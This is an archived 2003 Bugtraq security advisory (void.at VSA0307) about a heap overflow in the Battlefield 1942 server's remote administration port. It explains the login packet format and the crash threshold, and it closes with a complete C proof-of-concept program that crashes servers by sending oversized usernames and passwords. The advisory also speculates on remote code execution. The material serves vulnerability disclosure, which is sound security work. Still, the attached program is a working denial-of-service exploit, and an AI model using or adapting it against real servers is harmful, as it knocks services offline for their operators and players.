<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1141" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2><A
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html">http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html</A></FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT size=2><FONT face=Arial><STRONG>From:</STRONG> VOID.AT Security
(<EM>asdf_at_asdf.com</EM>)<BR><STRONG>Date:</STRONG> Wed Feb 26 2003 - 12:19:40
CST </FONT></FONT>
<P>
<LI><STRONG>Messages sorted by:</STRONG> <A
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/index.html#342">[
date ]</A> <A
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/thread.html#342">[
thread ]</A> <A
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/subject.html#342">[
subject ]</A> <A
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/author.html#342">[
author ]</A>
<UL></UL>
<HR noShade>
<P><!-- body="start" -->
<P>[void.at Security Advisory VSA0307 - mailto:crew at void dot at] <BR>
<P>Battlefield 1942 is a game (c) by Electronic Arts[1]. <BR>
<P>Overview <BR>======== <BR>
<P>By sending a specially crafted packet to the bf1942-server <BR>remote
administration port, an attacker can cause the server <BR>to crash. <BR>
<P>It *could* even be possible to remotely exploit this <BR>vulnerability to
gain a remote shell (see "Details" <BR>for details) <BR>
<P>Affected Versions <BR>================= <BR>
<P>As I discovered this vulnerability, the game's version was <BR>1.2. Because I
don't play this game anymore and I didn't <BR>download that overbloated 50 MB
patch I have no idea if <BR>the current version (1.3) is vulnerable (but I'd
bet). <BR>
<P>Impact <BR>====== <BR>
<P>Medium. The remote server simply crashes. <BR>
<P>Details <BR>======= <BR>
<P>Battlefield 1942 can be configured to listen to a tcp-port <BR>(default:
4711) and accept connections to remotely enter <BR>commands or change server
variables. A command line utility <BR>to do that comes with bf1942
("RemoteConsole.exe"), and there <BR>exists at least one GUI that uses the same
protocol. <BR>
<P>The session starts by connecting to the rcon-port. The server <BR>responds
with an XOR-key that is used to send the username <BR>and the password (although
we don't need that here). <BR>
<P>The login credentials get submitted in the following way: <BR>(byte) Length
of Username <BR>(szstring) Username <BR>(byte) Length of Password <BR>(szstring)
Password <BR>
<P>Heh, I'm sure you've guessed it, you can overwrite the heap <BR>by sending
especially long usernames and/or passwords. <BR>
<P>Now the interesting part: it is possible to overwrite control <BR>information
on the heap (like that famous malloc/free-bugs). <BR>The problem is, that the
chunk that receives the username <BR>is the last chunk in the chain, so there is
no following <BR>control block that could be overwritten to exploit a
<BR>free-vulnerability. This is the reason I am not able to <BR>supply an
exploit for this. <BR>
<P>The thing is, after that block are pointers to the double- <BR>linked
ring-list that holds the free blocks. It *is* possible <BR>to overwrite them,
but I didn't find a way to exploit that, <BR>other than to remotely DoS the
server. Perhaps someone more <BR>skilled (and with more time) can do that (plz
let me know *g*) <BR>
<P>Length of username > 4280 crashes the server. <BR>
<P>Note that by the time I discovered this, the only server <BR>available was
the Windows-version. Today there exists a <BR>(beta-)Linux-version too, perhaps
you can have more fun <BR>with it. <BR>
<P>Solution <BR>======== <BR>
<P>Disable that remote administration thing until a patch <BR>comes out. <BR>
<P>Exploit <BR>======= <BR>
<P>I've attached a demonstration exploit. <BR>
<P>And YES I really wanted to contact the vendors about that <BR>problem, but I
gave up after straying around on the EA.com <BR>website for 15 min. searching
for a simple mail address <BR>(not to mention requesting a public key...). <BR>
<P>Discovered by <BR>============= <BR>
<P>greuff <greuff@void.at> <BR>
<P>Credits <BR>======= <BR>
<P>void.at <BR>^sq, G7 and thokky for giving me links to papers <BR>
<P>halvar@blackhat.com for simply ignoring my mail regarding the
<BR>double-linked-list overwrite. <BR>
<P>References <BR>========== <BR>
<P>[1] <A href="http://www.ea.com/">http://www.ea.com</A> <BR>
<P>------------------------------------------------------------------ <BR>
<P>/*****************************************************************
<BR> * hoagie_bf1942_rcon.c <BR> * <BR> * Remote-DoS for
Battlefield 1942-Servers that have their <BR> * rcon-port activated
(4711/tcp by default) <BR> * <BR> * Author: greuff@void.at <BR> *
<BR> * Tested on BF-Server 1.2 on win32 <BR> * <BR> * Credits:
<BR> * void.at <BR> * ^sq, G7 and thokky <BR> * <BR> * THIS
FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. <BR> * THE
AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR <BR> * CRIMINAL
ACTIVITIES DONE USING THIS PROGRAM. <BR> *
<BR> *****************************************************************/
<BR>
<P>#include <stdio.h> <BR>#include <stdlib.h> <BR>#include
<unistd.h> <BR>#include <sysexits.h> <BR>#include <string.h>
<BR>#include <sys/socket.h> <BR>#include <netinet/in.h> <BR>#include
<sys/types.h> <BR>#include <errno.h> <BR>#include <netdb.h>
<BR>
<P>int bf1942_rcon_connect(char *servername, int serverport, char *user, char
<BR>*pass, int *s); <BR>
<P>int main(int argc, char **argv) <BR>{ <BR> int sock, rval=0;
<BR> char *user, *pass; <BR> int
anz=5000/*4280*//*4272*//*4200*/; <BR> if(argc!=3)
<BR> { <BR> printf("Usage:
%s servername serverport\n\n",argv[0]);
<BR> return EX_USAGE; <BR> }
<BR> user=malloc(anz+1);
<BR> pass=malloc(anz+1);
<BR> memset(user,0,anz+1);
<BR> memset(user,'A',anz);
<BR> memset(pass,0,anz+1);
<BR> memset(pass,'B',anz); <BR> do
<BR> { <BR>
<BR>rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
<BR> if(rval==-1)
<BR> {
<BR> printf("Authentication
failed. user=%s pass=%s\n",user,pass);
<BR> user[1]++;
<BR> close(sock);
<BR> }
<BR> else if(rval>0)
<BR> {
<BR> printf("Error:
%s\n",strerror(rval));
<BR> return -1;
<BR> } <BR> } while(0);
<BR> return 0; <BR>} <BR>
<P>/* open a session to a bf1942-server (Rcon) <BR> * <BR> * WARNING
this is a minimalist's version of the real rcon-authentication <BR> *
(XOR's skipped) <BR> * <BR> * in: servername, serverport, username,
pass <BR> * out: on success: 0, serversocket in *sock <BR> * on error
: -1 = autherror, errno otherwise <BR> */ <BR>int bf1942_rcon_connect(char
*servername, int serverport, char *user, char <BR>*pass, int *s) <BR>{
<BR> int sock, i, rval; <BR> struct hostent
*hp; <BR> struct sockaddr_in inaddr;
<BR> unsigned long l; <BR>
<P> char xorkey[10], buf[20]; <BR>
<P> if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
<BR> return errno;
<BR> if((hp=gethostbyname(servername))<0)
<BR> return errno;
<BR> inaddr.sin_family=AF_INET;
<BR> inaddr.sin_port=htons(serverport);
<BR> memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct
in_addr)); <BR> if(connect(sock,(struct sockaddr
*)&inaddr,sizeof(struct sockaddr))<0)
<BR> return errno; <BR>
<P> // connection established. The first thing the server
should <BR> // send is the XOR-Key for transmitting the
username and the <BR> // password.
<BR> if((i=read(sock,xorkey,10))<0)
<BR> return errno; <BR>
<P> // send the username and the password...
<BR> l=strlen(user)+1;
<BR> if(write(sock,&l,sizeof(long))<0)
<BR> return errno;
<BR> if(write(sock,user,strlen(user)+1)<0)
<BR> return errno;
<BR> l=strlen(pass)+1;
<BR> if(write(sock,&l,sizeof(long))<0)
<BR> return errno;
<BR> if(write(sock,pass,strlen(pass)+1)<0)
<BR> return errno; <BR>
<P> if(read(sock,buf,20)<0)
<BR> return errno;
<BR> if(buf[0]==0x01) <BR> {
<BR> rval=0; // auth-ok, connection
established <BR> *s=sock;
<BR> } <BR> else
<BR> rval=-1; // auth-error
<BR> return rval; <BR>} <BR>
<P>
<P>
<P>-----BEGIN PGP SIGNATURE----- <BR>Version: GnuPG v1.2.1 (GNU/Linux) <BR>
<P>iD8DBQA+XQVBzxi8qAgTjUMRAjLbAKCN15A0DLoALJE15670dIFEn4AQXgCgi0uK
<BR>IZdDvi1kD7cNWP4YV8bq86I= <BR>=e8jV <BR>-----END PGP SIGNATURE----- <BR>
<P><!-- body="end" --></P></LI></DIV></BODY></HTML>